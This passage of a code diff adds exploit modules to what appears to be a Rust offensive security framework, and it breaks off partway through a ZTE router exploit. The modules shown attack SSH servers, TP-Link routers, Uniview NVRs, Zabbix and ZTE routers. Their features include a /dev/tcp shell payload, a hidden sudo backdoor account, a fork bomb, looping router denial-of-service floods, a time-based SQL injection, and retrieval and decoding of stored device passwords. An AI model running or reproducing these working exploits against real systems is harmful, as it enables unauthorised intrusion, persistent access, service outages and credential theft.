+    let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
+    sleep(wait_time_duration).await;
+
+    stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
+    let mut buf = [0u8; 1024];
+    match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
+        Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
+        Ok(Ok(0)) => Ok(true),
+        Ok(Ok(_)) => Ok(false),
+        Ok(Err(_)) => Ok(true),
+        Err(_) => Ok(true), // Timeout might indicate success
+    }
+}
+
+fn print_post_actions() {
+    println!("{}", "Available Post-Ex Actions:".cyan().bold());
+    println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
+    println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
+    println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
+    println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
+}
+
+fn get_postex_command(action: u8) -> String {
+    match action {
+        1 => format!(
+            "nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
+            BIND_SHELL_PORT
+        ),
+        2 => format!(
+            "useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
+            PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
+        ),
+        3 => ":(){ :|:& };:".to_string(),
+        4 => "exec /bin/bash -i".to_string(),
+        _ => "".to_string(),
+    }
+}
+
+async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
+    println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
+
+    print_post_actions();
+    print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut choice_str = String::new();
+    std::io::stdin().read_line(&mut choice_str).ok();
+    let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
+
+    let num_attempts_per_base: usize;
+    loop {
+        print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
+        std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
+        let mut attempts_str = String::new();
+        std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
+        match attempts_str.trim().parse::<usize>() {
+            Ok(num) if num > 0 => {
+                num_attempts_per_base = num;
+                break;
+            }
+            _ => {
+                println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
+            }
+        }
+    }
+
+    let postex_cmd = get_postex_command(mode_choice);
+    let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
+    let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
+
+    let mut glibc_bases = vec![];
+    let mut current_base = GLIBC_BASE_START;
+    while current_base < GLIBC_BASE_END {
+        glibc_bases.push(current_base);
+        current_base += GLIBC_STEP;
+    }
+
+    println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
+    println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
+    println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
+
+
+    for glibc_base_addr in glibc_bases {
+        for attempt_num in 0..num_attempts_per_base {
+            let ip_clone = target_ip.clone();
+            let sem_clone = semaphore.clone();
+            let cmd_clone = postex_cmd.clone();
+
+            let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
+            tasks.push(tokio::spawn(async move {
+                let _permit = permit;
+                let mut stream = match setup_connection(&ip_clone, port_num).await {
+                    Ok(s) => s,
+                    Err(_e) => {
+                        return Ok(false);
+                    }
+                };
+
+                if let Err(_e) = perform_ssh_handshake(&mut stream).await {
+                    return Ok(false);
+                }
+                if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
+                    return Ok(false);
+                }
+
+                let parsing_time = match time_final_packet(&mut stream).await {
+                    Ok(pt) => pt,
+                    Err(_e) => {
+                        return Ok(false);
+                    }
+                };
+
+                if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
+                    println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
+
+                    if !cmd_clone.is_empty() {
+                        println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
+                    }
+
+                    match mode_choice {
+                        1 => {
+                            println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
+                            let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
+                            sleep(Duration::from_secs(2)).await;
+                            match TcpStream::connect(&bind_shell_target_addr).await {
+                                Ok(conn_stream) => {
+                                    if let Err(e) = handle_bind_shell_session(conn_stream).await {
+                                        println!("[!] Bind shell session error: {}", e);
+                                    }
+                                }
+                                Err(e) => {
+                                    println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
+                                    println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
+                                }
+                            }
+                        }
+                        2 => {
+                            println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
+                            println!("[*] Password: {}", PERSISTENT_PASS);
+                            println!("(Manual check required. If login works, exploit succeeded!)");
+                        }
+                        3 => {
+                            println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
+                        }
+                        4 => {
+                            println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
+                            println!("[*] If successful, the SSH session might drop or provide a new prompt.");
+                            println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
+                        }
+                        _ => {
+                            println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
+                        }
+                    }
+                    return Ok(true);
+                }
+                Ok(false)
+            }));
+        }
+    }
+
+    let mut success_found = false;
+    while let Some(task_result) = tasks.next().await {
+        match task_result {
+            Ok(Ok(true)) => {
+                println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
+                println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
+                if mode_choice == 1 {
+                    println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
+                }
+                success_found = true;
+                break;
+            }
+            Ok(Ok(false)) => { }
+            Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
+            Err(e) => eprintln!("[!] Task join error: {}", e),
+        }
+    }
+
+    if !success_found {
+        println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
+        println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
+    }
+    Ok(())
+}
+
+pub async fn run(target_info: &str) -> anyhow::Result<()> {
+    if target_info.is_empty() {
+        bail!("Target IP address/hostname cannot be empty.");
+    }
+    if target_info.contains(':') {
+        bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
+    }
+
+    let ip_address = target_info.to_string();
+    let port_num: u16;
+
+    loop {
+        print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
+        io::stdout().flush().context("Failed to flush stdout")?;
+
+        let mut port_input = String::new();
+        io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
+
+        match port_input.trim().parse::<u16>() {
+            Ok(port) if port > 0 => {
+                port_num = port;
+                break;
+            }
+            Ok(_) => {
+                println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
+            }
+            Err(_) => {
+                println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
+            }
+        }
+    }
+
+    execute_exploit_logic(ip_address, port_num).await
+}

src/modules/exploits/tplink/mod.rs

@@ -0,0 +1,2 @@
+pub mod tp_link_vn020_dos;
+pub mod tplink_wr740n_dos;

src/modules/exploits/tplink/tp_link_vn020_dos.rs

@@ -0,0 +1,132 @@
+// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
+// Exploit Author: Mohamed Maatallah
+// Ported to Rust
+
+use anyhow::{Context, Result};
+use reqwest::Client;
+use std::io::{self, BufRead};
+use std::sync::{
+    atomic::{AtomicBool, Ordering},
+    Arc,
+};
+use std::thread;
+use std::time::Duration;
+use tokio::join;
+
+/// Normalize IPv6/IPv4/hostname and fix extra brackets
+fn normalize_target_host(raw: &str) -> String {
+    // Remove outer brackets if any, then reapply correctly for IPv6
+    let stripped = raw.trim_matches(|c| c == '[' || c == ']');
+    if stripped.contains(':') {
+        format!("[{stripped}]")
+    } else {
+        stripped.to_string()
+    }
+}
+
+/// Send the malformed AddPortMapping SOAP request (PoC 1)
+async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
+    // Missing parameters PoC - will crash the router
+    let url = format!("http://{target}:5431/control/WANIPConnection");
+    let body = r#"<?xml version="1.0"?>
+<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
+  <s:Body>
+    <u:AddPortMapping>
+      <NewPortMappingDescription>hello</NewPortMappingDescription>
+    </u:AddPortMapping>
+  </s:Body>
+</s:Envelope>"#;
+
+    let res = client
+        .post(&url)
+        .header("Content-Type", "text/xml")
+        .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
+        .body(body)
+        .send()
+        .await
+        .context("Failed to send DoS request 1 (Missing Parameters)")?;
+
+    println!("[+] PoC 1 sent. Status: {}", res.status());
+    Ok(())
+}
+
+/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
+async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
+    // Memory corruption PoC using format string overflow
+    let long_payload = "%x".repeat(10_000);
+    let url = format!("http://{target}:5431/control/WANIPConnection");
+    let body = format!(
+        r#"<?xml version="1.0"?>
+<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
+  <s:Body>
+    <u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
+      <NewConnectionType>{}</NewConnectionType>
+    </u:SetConnectionType>
+  </s:Body>
+</s:Envelope>"#,
+        long_payload
+    );
+
+    let res = client
+        .post(&url)
+        .header("Content-Type", "text/xml")
+        .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
+        .body(body)
+        .send()
+        .await
+        .context("Failed to send DoS request 2 (Memory Corruption)")?;
+
+    println!("[+] PoC 2 sent. Status: {}", res.status());
+    Ok(())
+}
+
+/// Entry point for the exploit module
+pub async fn run(raw_target: &str) -> Result<()> {
+    // Normalize target
+    let target = normalize_target_host(raw_target);
+
+    // Create HTTP client with insecure certs accepted and 5s timeout
+    let client = Client::builder()
+        .timeout(Duration::from_secs(5))
+        .danger_accept_invalid_certs(true)
+        .build()
+        .context("Failed to build HTTP client")?;
+
+    println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
+    println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
+
+    let stop_flag = Arc::new(AtomicBool::new(false));
+    let stop_flag_clone = Arc::clone(&stop_flag);
+
+    // Monitor stdin for "stop" command
+    thread::spawn(move || {
+        let stdin = io::stdin();
+        for line in stdin.lock().lines() {
+            if let Ok(input) = line {
+                if input.trim().eq_ignore_ascii_case("stop") {
+                    stop_flag_clone.store(true, Ordering::Relaxed);
+                    println!("[*] Stopping attack...");
+                    break;
+                }
+            }
+        }
+    });
+
+    // Continuous dual PoC attack until user stops
+    while !stop_flag.load(Ordering::Relaxed) {
+        let (r1, r2) = join!(
+            dos_missing_parameters(&client, &target),
+            dos_memory_corruption(&client, &target)
+        );
+
+        if let Err(e) = r1 {
+            eprintln!("[!] Error during PoC 1: {e}");
+        }
+        if let Err(e) = r2 {
+            eprintln!("[!] Error during PoC 2: {e}");
+        }
+    }
+
+    println!("[+] Exploit session ended.");
+    Ok(())
+}

src/modules/exploits/tplink/tplink_wr740n_dos.rs

@@ -0,0 +1,114 @@
+// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
+// Date: 8/12/2023
+// Exploit Author: Anish Feroz (ZEROXINN)
+// Vendor Homepage: http://www.tp-link.com
+// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
+// Tested on: TP-Link TL-WR740N
+
+// Description:
+// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
+// that can allow an attacker to crash the web server running on the router
+// by sending a crafted request. To bring back the http (webserver),
+// a user must physically reboot the router.
+
+use anyhow::Result;
+use base64::{engine::general_purpose, Engine as _};
+use reqwest::{Client, header::HeaderMap};
+use std::io;
+use tokio::net::TcpStream;
+use tokio::time::{timeout, Duration};
+
+/// Normalize IP to handle IPv6 and multiple brackets
+fn normalize_ip(ip: &str) -> String {
+    // Remove all surrounding brackets
+    let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
+    // Add brackets for IPv6
+    if ip.contains(':') && !ip.starts_with('[') {
+        ip = format!("[{}]", ip);
+    }
+    ip
+}
+
+/// Internal function to send crafted request to crash router
+async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
+    // Normalize the IP for correct URL formatting
+    let ip = normalize_ip(ip);
+
+    // Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
+    let crash_pattern = "crash_crash_on_a_loop_";
+    let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
+    let payload = &repeated[..192]; // truncate to exact length
+
+    // Construct vulnerable URL
+    let target_url = format!(
+        "http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
+        ip = ip,
+        port = port,
+        payload = payload
+    );
+
+    // Build basic auth header
+    let credentials = format!("{username}:{password}");
+    let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
+
+    // Prepare HTTP headers
+    let mut headers = HeaderMap::new();
+    headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
+    headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
+    headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
+    headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
+    headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
+    headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
+    headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
+    headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
+    headers.insert("Connection", "close".parse()?);
+
+    let client = Client::builder()
+        .default_headers(headers)
+        .build()?;
+
+    let response = client.get(&target_url).send().await?;
+
+    if response.status().as_u16() == 200 {
+        println!("[+] Server Crashed (200 OK received)");
+        let body = response.text().await.unwrap_or_default();
+        println!("{}", body);
+    } else {
+        println!(
+            "[-] Script Completed with status code: {}",
+            response.status()
+        );
+    }
+
+    // Check if the host is still up — timeout after 1 second
+    match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
+        Ok(Ok(_)) => {
+            println!("[!] Target still responds on port {}. DoS likely failed.", port);
+        }
+        _ => {
+            println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
+        }
+    }
+
+    Ok(())
+}
+
+/// Entry point required by auto-dispatch
+pub async fn run(target: &str) -> Result<()> {
+    println!("Enter router port (default is 8082): ");
+    let mut port_str = String::new();
+    io::stdin().read_line(&mut port_str)?;
+    let port: u16 = port_str.trim().parse().unwrap_or(8082);
+
+    println!("Enter username: ");
+    let mut username = String::new();
+    io::stdin().read_line(&mut username)?;
+    let username = username.trim();
+
+    println!("Enter password: ");
+    let mut password = String::new();
+    io::stdin().read_line(&mut password)?;
+    let password = password.trim();
+
+    execute(target, port, username, password).await
+}

src/modules/exploits/uniview/mod.rs

@@ -0,0 +1 @@
+pub mod uniview_nvr_pwd_disclosure;

src/modules/exploits/uniview/uniview_nvr_pwd_disclosure.rs

@@ -0,0 +1,198 @@
+use anyhow::{anyhow, Context, Result};
+use quick_xml::events::Event;
+use quick_xml::name::QName;
+use quick_xml::Reader;
+use reqwest::Client;
+use std::collections::HashMap;
+use std::fs::OpenOptions;
+use std::io::Write;
+use std::time::Duration;
+
+/// Reverses the Uniview custom encoded password
+fn decode_pass(encoded: &str) -> String {
+    let map: HashMap<&str, &str> = [
+        ("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
+        ("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
+        ("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
+        ("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
+        ("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
+        ("7","{"),  ("1","}"),  ("82","."), ("67","?"), ("64","<"), ("66",">"),
+        ("2","~"),  ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
+        ("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
+        ("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
+        ("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
+        ("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
+        ("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
+        ("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
+        ("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
+        ("13","q"), ("14","r"), ("15","s"), ("8","t"),  ("9","u"),  ("10","v"),
+        ("11","w"), ("4","x"),  ("5","y"),  ("6","z"),
+    ]
+    .iter()
+    .cloned()
+    .collect();
+
+    encoded
+        .split(';')
+        .filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
+        .collect()
+}
+
+/// Strip any number of nested brackets and re-wrap once if IPv6
+fn normalize_target(raw: &str) -> String {
+    // Preserve or default to http://
+    let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
+        ("http://", s)
+    } else if let Some(s) = raw.strip_prefix("https://") {
+        ("https://", s)
+    } else {
+        ("http://", raw)
+    };
+
+    // Split authority vs path
+    let (auth, path) = match after.find('/') {
+        Some(i) => (&after[..i], &after[i..]),
+        None    => (after, ""),
+    };
+
+    // Separate host_part and port_part
+    let (host_part, port_part) = if auth.starts_with('[') {
+        if let Some(pos) = auth.rfind(']') {
+            (&auth[..=pos], &auth[pos + 1..])
+        } else {
+            (auth, "")
+        }
+    } else if auth.matches(':').count() > 1 {
+        // IPv6 without brackets
+        (auth, "")
+    } else if let Some(pos) = auth.rfind(':') {
+        // IPv4 or hostname with port
+        (&auth[..pos], &auth[pos..])
+    } else {
+        (auth, "")
+    };
+
+    // Peel away *all* outer brackets
+    let mut inner = host_part;
+    while inner.starts_with('[') && inner.ends_with(']') {
+        inner = &inner[1..inner.len() - 1];
+    }
+
+    // If it looks like IPv6, re-wrap exactly once
+    let wrapped = if inner.contains(':') {
+        format!("[{}]", inner)
+    } else {
+        inner.to_string()
+    };
+
+    format!("{}{}{}{}", scheme, wrapped, port_part, path)
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("\nUniview NVR remote passwords disclosure!");
+    println!("Author: B1t (ported to Rust)\n");
+
+    // Normalize URL (scheme, IPv6 brackets, port, path)
+    let target = normalize_target(target);
+
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(10))
+        .build()
+        .context("Failed to build HTTP client")?;
+
+    // Fetch version info
+    println!("[+] Getting model name and software version...");
+    let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
+    let version_text = client
+        .get(&version_url)
+        .send().await?
+        .text().await
+        .context("Failed to fetch version")?;
+
+    let model = version_text
+        .split("szDevName\":\"")
+        .nth(1)
+        .and_then(|s| s.split('"').next())
+        .unwrap_or("Unknown");
+    let sw_ver = version_text
+        .split("szSoftwareVersion\":\"")
+        .nth(1)
+        .and_then(|s| s.split('"').next())
+        .unwrap_or("Unknown");
+
+    println!("Model: {}", model);
+    println!("Software Version: {}", sw_ver);
+
+    // Prepare log file
+    let mut log = OpenOptions::new()
+        .create(true)
+        .append(true)
+        .open("nvr-success.txt")
+        .context("Unable to open nvr-success.txt")?;
+
+    writeln!(log, "\n==== Uniview NVR ====").ok();
+    writeln!(log, "Target: {}", target).ok();
+    writeln!(log, "Model: {}", model).ok();
+    writeln!(log, "Software Version: {}", sw_ver).ok();
+
+    // Fetch user config
+    println!("\n[+] Getting configuration file...");
+    let config_url = format!(
+        "{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
+        target
+    );
+    let config_text = client
+        .get(&config_url)
+        .send().await?
+        .text().await
+        .context("Failed to fetch config")?;
+
+    // XML reader with trimmed text
+    let mut reader = Reader::from_str(&config_text);
+    reader.config_mut().trim_text(true);
+
+    let mut buf = Vec::new();
+    let mut total_users = 0;
+
+    println!("\nUser      | Stored Hash                           | Reversible Password");
+    println!("{}", "_".repeat(80));
+    writeln!(log, "\nUser      | Stored Hash                           | Reversible Password").ok();
+    writeln!(log, "{}", "_".repeat(80)).ok();
+
+    loop {
+        match reader.read_event_into(&mut buf) {
+            Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
+                let mut username = String::new();
+                let mut user_hash = String::new();
+                let mut revpass   = String::new();
+
+                for attr in e.attributes().flatten() {
+                    match attr.key {
+                        k if k == QName(b"UserName")   => username  = std::str::from_utf8(&attr.value)?.to_string(),
+                        k if k == QName(b"UserPass")   => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
+                        k if k == QName(b"RvsblePass") => revpass   = std::str::from_utf8(&attr.value)?.to_string(),
+                        _ => {}
+                    }
+                }
+
+                let decoded = decode_pass(&revpass);
+                println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
+                writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
+
+                total_users += 1;
+            }
+            Ok(Event::Eof) => break,
+            Err(e)        => return Err(anyhow!("XML parse error: {}", e)),
+            _             => {}
+        }
+        buf.clear();
+    }
+
+    println!("\n[+] Total users: {}", total_users);
+    writeln!(log, "\n[+] Total users: {}", total_users).ok();
+    println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
+    writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
+
+    Ok(())
+}

src/modules/exploits/zabbix/mod.rs

@@ -0,0 +1 @@
+pub mod zabbix_7_0_0_sql_injection;

src/modules/exploits/zabbix/zabbix_7_0_0_sql_injection.rs

@@ -0,0 +1,159 @@
+use anyhow::{anyhow, Result};
+use reqwest::Client;
+use serde_json::json;
+use std::fs;
+use std::io::{self, Write};
+
+const HEADERS: &str = "application/json";
+
+// Internal function renamed to `exploit_zabbix` to avoid conflicts
+async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
+    let client = Client::new();
+    let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
+
+    // // Login to get the token
+    let login_data = json!({
+        "jsonrpc": "2.0",
+        "method": "user.login",
+        "params": {
+            "username": username,
+            "password": password
+        },
+        "id": 1,
+        "auth": null
+    });
+
+    let login_response = client
+        .post(&url)
+        .header("Content-Type", HEADERS)
+        .json(&login_data)
+        .send()
+        .await
+        .map_err(|e| anyhow!("Login request error: {}", e))?;
+
+    let login_response_json: serde_json::Value = login_response
+        .json()
+        .await
+        .map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
+
+    let auth_token = login_response_json
+        .get("result")
+        .ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
+        .as_str()
+        .ok_or_else(|| anyhow!("Auth token not a string"))?
+        .to_string();
+
+    // // SQLi test using the provided payload
+    let sqli_data = json!({
+        "jsonrpc": "2.0",
+        "method": "user.get",
+        "params": {
+            "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
+            "userids": ["1", "2"]
+        },
+        "id": 1,
+        "auth": auth_token
+    });
+
+    let test_response = client
+        .post(&url)
+        .header("Content-Type", HEADERS)
+        .json(&sqli_data)
+        .send()
+        .await
+        .map_err(|e| anyhow!("Test request error: {}", e))?;
+
+    let test_response_text = test_response
+        .text()
+        .await
+        .map_err(|e| anyhow!("Failed to read test response: {}", e))?;
+
+    if test_response_text.contains("\"error\"") {
+        println!("[-] NOT VULNERABLE.");
+    } else {
+        println!("[!] VULNERABLE.");
+    }
+
+    Ok(())
+}
+
+// Prompt user to choose a payload option
+async fn get_payload_choice() -> Result<String> {
+    println!("Choose SQL payload option:");
+    println!("1: Load SQL payloads from file");
+    println!("2: Enter custom SQL payload");
+    println!("3: Use default SQL payload");
+
+    let mut choice = String::new();
+    print!("Enter your choice (1/2/3): ");
+    io::stdout().flush().unwrap();
+    io::stdin()
+        .read_line(&mut choice)
+        .map_err(|e| anyhow!("Failed to read choice: {}", e))?;
+
+    let choice = choice.trim();
+
+    match choice {
+        "1" => {
+            // Load from a file (e.g., sql_payloads.txt)
+            println!("Loading SQL payloads from file...");
+            let payloads = fs::read_to_string("sql_payloads.txt")
+                .map_err(|e| anyhow!("Error reading payload file: {}", e))?;
+            Ok(payloads.trim().to_string())
+        }
+        "2" => {
+            // Allow user to input a custom payload
+            println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
+            let mut custom_payload = String::new();
+            io::stdout().flush().unwrap();
+            io::stdin()
+                .read_line(&mut custom_payload)
+                .map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
+
+            let custom_payload = custom_payload.trim();
+
+            // Ensure the custom payload isn't empty
+            if custom_payload.is_empty() {
+                return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
+            }
+
+            Ok(custom_payload.to_string())
+        }
+        "3" => {
+            // Use a default payload
+            println!("Using default SQL payload...");
+            Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
+        }
+        _ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
+    }
+}
+
+// Public dispatch entry point
+pub async fn run(target: &str) -> Result<()> {
+    println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
+    println!("[*] Target API URL: {}", target);
+
+    let mut username = String::new();
+    let mut password = String::new();
+
+    print!("Username: ");
+    io::stdout().flush().unwrap();
+    io::stdin()
+        .read_line(&mut username)
+        .map_err(|e| anyhow!("Failed to read username: {}", e))?;
+
+    print!("Password: ");
+    io::stdout().flush().unwrap();
+    io::stdin()
+        .read_line(&mut password)
+        .map_err(|e| anyhow!("Failed to read password: {}", e))?;
+
+    let username = username.trim();
+    let password = password.trim();
+
+    // Get the payload choice from the user
+    let payload = get_payload_choice().await?;
+
+    // Run the exploit with the selected payload
+    exploit_zabbix(target, username, password, &payload).await
+}

src/modules/exploits/zte/mod.rs

@@ -0,0 +1 @@
+pub mod zte_zxv10_h201l_rce_authenticationbypass;

src/modules/exploits/zte/zte_zxv10_h201l_rce_authenticationbypass.rs

@@ -0,0 +1,230 @@
+use aes::Aes128;
+use anyhow::Result;
+use cipher::{BlockDecrypt, KeyInit, Block};
+use colored::*;
+use reqwest::{Client, cookie::Jar};
+use std::{
+    fs::{self, File},
+    io::{Read, Write},
+    net::TcpStream,
+    sync::Arc,
+};
+use tokio::time::Duration;
+use std::net::ToSocketAddrs;
+
+
+
+/// AES-128 ECB decrypt without padding
+fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
+    if data.len() % 16 != 0 {
+        anyhow::bail!("ECB decryption requires block-aligned data");
+    }
+
+    let cipher = Aes128::new_from_slice(key)?;
+    let mut output = Vec::with_capacity(data.len());
+
+    for chunk in data.chunks(16) {
+        let mut arr = [0u8; 16];
+        arr.copy_from_slice(chunk);
+        let mut block = Block::<Aes128>::from(arr);
+        cipher.decrypt_block(&mut block);
+        output.extend_from_slice(&block);
+    }
+
+    Ok(output)
+}
+
+/// Extract host and port from target
+fn parse_target(target: &str) -> Result<(String, u16)> {
+    if target.contains("]:") {
+        let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
+        let port = parts[0].parse::<u16>()?;
+        let host = parts[1].trim_start_matches('[').to_string();
+        return Ok((host, port));
+    } else if target.contains(':') {
+        let parts: Vec<&str> = target.splitn(2, ':').collect();
+        let port = parts[1].parse::<u16>()?;
+        return Ok((parts[0].to_string(), port));
+    }
+
+    print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
+    std::io::stdout().flush()?;
+    let mut input = String::new();
+    std::io::stdin().read_line(&mut input)?;
+    let port = input.trim().parse::<u16>()?;
+    Ok((target.to_string(), port))
+}
+
+/// Leak the router config file
+fn leak_config(host: &str, port: u16) -> Result<()> {
+    println!("[*] Leaking config from http://{}:{}/ ...", host, port);
+
+    // Resolve and connect with timeout
+    let addr = (host, port)
+        .to_socket_addrs()?
+        .next()
+        .ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
+    let timeout = Duration::from_secs(5);
+    let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
+
+    let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
+    let body = format!(
+        "--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
+        boundary, boundary
+    );
+
+    let request = format!(
+        "POST /getpage.gch?pid=101 HTTP/1.1\r\n\
